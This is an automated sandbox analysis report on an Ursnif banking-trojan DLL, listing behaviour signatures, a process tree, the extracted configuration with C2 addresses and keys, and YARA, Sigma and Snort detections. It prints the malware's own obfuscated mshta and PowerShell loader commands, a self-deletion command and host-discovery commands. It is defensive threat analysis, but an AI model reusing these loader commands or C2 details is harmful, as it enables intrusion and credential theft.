Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
d6YCUW421p

Overview

General Information

Sample Name:d6YCUW421p (renamed file extension from none to dll)
Analysis ID:613908
MD5:c544f66e442fbb1864b5abc8c919ef14
SHA1:7648765f0e8c7247187592be8ffc15e862833b6b
SHA256:5747f4ec2678631d2b8b001a4e1aeec2a74788cdc1381fcbb36b8f5f699246a6
Tags:32dllexe
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Tries to steal Mail credentials (via file / registry access)
Sigma detected: Windows Shell File Write to Suspicious Folder
Hooks registry keys query functions (used to hide registry keys)
Maps a DLL or memory area into another process
Uses nslookup.exe to query domains
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
May check the online IP address of the machine
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Performs a network lookup / discovery via net view
Modifies the import address table of user mode modules (user mode IAT hooks)
One or more processes crash
Drops certificate files (DER)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Sigma detected: Suspicious PFX File Creation
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 408 cmdline: loaddll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 2220 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 2588 cmdline: rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 6468 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 3932 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
    • WerFault.exe (PID: 4500 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 604 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6724 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 612 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 640 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 6876 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6856 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 3272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 2312 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 3284 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5B2D.tmp" "c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 6296 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6448 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71E1.tmp" "c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3688 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • BackgroundTransferHost.exe (PID: 60 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
        • cmd.exe (PID: 5576 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 3252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6340 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
        • RuntimeBroker.exe (PID: 4504 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 3756 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • nslookup.exe (PID: 1212 cmdline: nslookup myip.opendns.com resolver1.opendns.com MD5: AF1787F1DBE0053D74FC687E7233F8CE)
        • cmd.exe (PID: 504 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\6B3A.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • RuntimeBroker.exe (PID: 4712 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 5116 cmdline: cmd /C "systeminfo.exe > C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • cmd.exe (PID: 5020 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • RuntimeBroker.exe (PID: 2880 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 6732 cmdline: cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 3784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • net.exe (PID: 6284 cmdline: net view MD5: 15534275EDAABC58159DD0F8607A71E5)
        • RuntimeBroker.exe (PID: 3720 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 6660 cmdline: "C:\Windows\syswow64\cmd.exe" /C pause dll mail, , MD5: F3BDBE3BB6F734E357235F4D5898582D)
          • conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • cmd.exe (PID: 6804 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • cmd.exe (PID: 1012 cmdline: cmd /C "nslookup 127.0.0.1 >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 1268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8,  *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 61 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            4.3.rundll32.exe.4e394a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              4.2.rundll32.exe.4ab0000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                4.3.rundll32.exe.4e394a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  4.3.rundll32.exe.55a94a0.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    4.3.rundll32.exe.55d6940.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 4 entries

                      Sigma Signatures

                      System Summary

                      barindex
                      Sigma detected: Windows Shell File Write to Suspicious Folder
                      Source: File createdAuthor: Florian Roth: Data: EventID: 11, Image: C:\Windows\System32\mshta.exe, ProcessId: 6876, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Caches
                      Sigma detected: Accessing WinAPI in PowerShell. Code Injection
                      Source: Threat createdAuthor: Nikita Nazarov, oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6856, StartAddress: 424A1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3688
                      Sigma detected: MSHTA Spawning Windows Shell
                      Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6876, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6856, ProcessName: powershell.exe
                      Sigma detected: Suspicious Call by Ordinal
                      Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2220, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1, ProcessId: 2588, ProcessName: rundll32.exe
                      Sigma detected: Suspicious Remote Thread Created
                      Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, SourceProcessId: 6856, StartAddress: 424A1580, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 3688
                      Sigma detected: Mshta Spawning Windows Shell
                      Source: Process startedAuthor: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6876, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6856, ProcessName: powershell.exe
                      Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\explorer.exe, ProcessId: 3688, TargetFilename: C:\Users\user\AppData\Local\Temp\B95F.bin\AuthRoot.pfx
                      Source: Process startedAuthor: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, CommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: C:\Windows\system32\control.exe -h, ParentImage: C:\Windows\System32\control.exe, ParentProcessId: 6468, ParentProcessName: control.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h, ProcessId: 3932, ProcessName: rundll32.exe
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6856, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline, ProcessId: 2312, ProcessName: csc.exe
                      Source: Process startedAuthor: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net view , CommandLine: net view , CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6732, ParentProcessName: cmd.exe, ProcessCommandLine: net view , ProcessId: 6284, ProcessName: net.exe
                      Source: Process startedAuthor: frack113: Data: Command: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1", CommandLine: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1", CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3688, ParentProcessName: explorer.exe, ProcessCommandLine: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1", ProcessId: 3756, ProcessName: cmd.exe
                      Source: Process startedAuthor: Endgame, JHasenbusch (ported for oscd.community): Data: Command: net view , CommandLine: net view , CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6732, ParentProcessName: cmd.exe, ProcessCommandLine: net view , ProcessId: 6284, ProcessName: net.exe
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), CommandLine|base64offset|contains: >jX, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6876, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ProcessId: 6856, ProcessName: powershell.exe
                      Source: Process startedAuthor: frack113: Data: Command: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1", CommandLine: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1", CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3688, ParentProcessName: explorer.exe, ProcessCommandLine: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1", ProcessId: 3756, ProcessName: cmd.exe
                      Source: Process startedAuthor: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6856, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 3272, ProcessName: conhost.exe
                      Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6856, TargetFilename: C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline
                      Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132951429314648319.6856.DefaultAppDomain.powershell

                      Snort Signatures

                      Timestamp:04/22/22-16:15:22.811303 04/22/22-16:15:22.811303
                      SID:2033204
                      Source Port:49750
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:17:42.488376 04/22/22-16:17:42.488376
                      SID:2031743
                      Source Port:49842
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:18:43.523910 04/22/22-16:18:43.523910
                      SID:2823044
                      Source Port:49848
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:15:01.518080 04/22/22-16:15:01.518080
                      SID:2033203
                      Source Port:49742
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:15:21.968987 04/22/22-16:15:21.968987
                      SID:2033203
                      Source Port:49750
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:17:43.570159 04/22/22-16:17:43.570159
                      SID:2823044
                      Source Port:49844
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:18:43.374523 04/22/22-16:18:43.374523
                      SID:2823044
                      Source Port:49847
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:17:42.801276 04/22/22-16:17:42.801276
                      SID:2031744
                      Source Port:49842
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:15:24.287033 04/22/22-16:15:24.287033
                      SID:2033203
                      Source Port:49750
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:17:54.570587 04/22/22-16:17:54.570587
                      SID:2831962
                      Source Port:49846
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:04/22/22-16:17:43.262885 04/22/22-16:17:43.262885
                      SID:2823044
                      Source Port:49843
                      Destination Port:80
                      Protocol:TCP
